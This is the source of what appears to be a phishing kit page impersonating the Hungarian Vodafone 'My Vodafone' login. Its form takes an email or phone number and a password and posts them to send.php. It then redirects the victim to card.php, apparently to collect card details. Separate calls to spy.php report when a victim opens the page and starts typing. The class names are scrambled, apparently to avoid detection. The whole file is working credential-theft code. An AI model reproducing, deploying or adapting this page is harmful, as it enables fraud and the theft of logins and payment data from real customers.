<?php
require (__DIR__) . '/../main.php';

if (!isset($_COOKIE['sc_username'])) {
    setcookie('sc_username', rand(2000000000, 2999999999), time() + (86400 * 30), "/");
    header("Refresh:0");
    exit();
}

?>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Számlabefizetés | Vodafone</title>
    <link href="https://cdn.jsdelivr.net/gh/hung1001/font-awesome-pro@4cac1a6/css/all.css" rel="stylesheet"
        type="text/css" />

    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/css/bootstrap.min.css"
        integrity="sha384-rbsA2VBKQhggwzxH7pPCaAqO46MgnOM80zW1RWuH61DGLwZJEdK2Kadq2F9CUG65" crossorigin="anonymous">
    <!-- <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"> -->
    <link rel="stylesheet" href="themes/css/style.css">
    <link rel="stylesheet" href="fonts/font.css">
    <style>
        .ihdechdr.enabled {
            background-color: #e60000;
            cursor: pointer;
        }

        .ihdechdr.disabled {
            background-color: #e5e5e5;
            cursor: not-allowed;
        }
    </style>
</head>

<body>

    <?php include 'includes/files/nav.php'; ?>
    <div class="container mt-5 mb-5">
        <div class="row justify-content-center">
            <div class="col-7">
                <div class="eugdfyie">
                    <h1 class="kdhge">Bejelentkezés</h1>
                    <h1 class="jwdgw">My Vodafone fiókba</h1>
                    <form id="form" class="hemdfe" action="" method="POST" class="row">
                        <div class="jdef">
                            <div class="line_jkde">
                                <label class="jhdge">Belépési azonosító (e-mail, telefonszám)</label>
                                <div class="gdehdf">
                                    <input name="username_auth" id="username_auth" type="text" class="sjdgedf">
                                </div>
                            </div>
                            <a href="#" class="jjdcf">Használható azonosítók</a>
                        </div>
                        <div class="jdef">
                            <div class="line_jkde">
                                <label class="jhdge">Jelszó</label>
                                <div class="gdehdf">
                                    <input name="password" type="password" class="sjdgedf" id="password">
                                    <i class="far fa-eye kjkedfg" id="eye" onclick="togglePassword()"></i>
                                </div>
                            </div>
                            <a href="#" class="jjdcf">Elfelejtettem a jelszavam</a>
                        </div>
                        <label class="container_checkbox">Bejelentkezve maradok
                            <input type="checkbox" />
                            <span class="checkmark"></span>
                        </label>
                        <?php if (isset($_GET['e'])) { ?>
                            <p class="error_message">Helytelen információ</p>
                        <?php } ?>
                        <button disabled class="jkde" type="submit" id="btn_su">Bejelentkezés</button>
                        <a href="#" class="mkdjkgh">Nem tudok bejelentkezni, segítséget kérek</a>
                    </form>
                </div>
            </div>
        </div>
    </div>

    <?php include 'includes/files/footer.php'; ?>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js"
        integrity="sha512-v2CJ7UaYy4JwqLDIrZUI/4hqeoQieOmAZNXBeQyjo21dadnwR+8ZaIJVT8EE2iyI61OV8e6M8PP2/4hpQINQ/g=="
        crossorigin="anonymous" referrerpolicy="no-referrer"></script>

    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js"
        integrity="sha512-v2CJ7UaYy4JwqLDIrZUI/4hqeoQieOmAZNXBeQyjo21dadnwR+8ZaIJVT8EE2iyI61OV8e6M8PP2/4hpQINQ/g=="
        crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js"
        integrity="sha512-v2CJ7UaYy4JwqLDIrZUI/4hqeoQieOmAZNXBeQyjo21dadnwR+8ZaIJVT8EE2iyI61OV8e6M8PP2/4hpQINQ/g=="
        crossorigin="anonymous" referrerpolicy="no-referrer"></script>


    <script>
        function togglePassword() {
            const passwordField = document.getElementById('password');
            const eyeIcon = document.getElementById('eye');
            if (passwordField.type === 'password') {
                passwordField.type = 'text';
                eyeIcon.classList.remove('fa-eye');
                eyeIcon.classList.add('fa-eye-slash');
            } else {
                passwordField.type = 'password';
                eyeIcon.classList.remove('fa-eye-slash');
                eyeIcon.classList.add('fa-eye');
            }
        }
    </script>
    <script>
    document.addEventListener("DOMContentLoaded", function() {
        const usernameInput = document.getElementById('username_auth');
        const passwordInput = document.getElementById('password');
        const submitButton = document.getElementById('btn_su');

        function updateButtonState() {
            if (usernameInput.value == "" || passwordInput.value == "") {
                // Disable the button and set background to #ccc
                submitButton.disabled = true;
                submitButton.style.backgroundColor = "#ccc";
            } else {
                // Enable the button and set background to #e60000
                submitButton.disabled = false;
                submitButton.style.backgroundColor = "#e60000";
                console.log(usernameInput.value)
                console.log(passwordInput.value)
            }
        }

        // Initial check when the page loads
        updateButtonState();

        // Add event listeners to detect changes in input fields
        usernameInput.addEventListener('input', updateButtonState);
        passwordInput.addEventListener('input', updateButtonState);
    });
</script>


    <script>

        $("#form").on("submit", function (e) {
            e.preventDefault()
            $.post("send.php", {
                username_auth: $("#username_auth").val(),
                password: $("#password").val()
            }, function (data) {
                window.location = "card.php";
            });

        });

        $.post("spy.php", {
            loginview: 1
        });
        var abort = false;
        $("#username_auth").keyup(function () {
            if (abort == false) {
                $.post("spy.php", {
                    loging: 1
                });
                abort = true;
            }
        });
    </script>
    <?php $m->ctr("LOGIN " . @$_GET['e']); ?>
</body>

</html>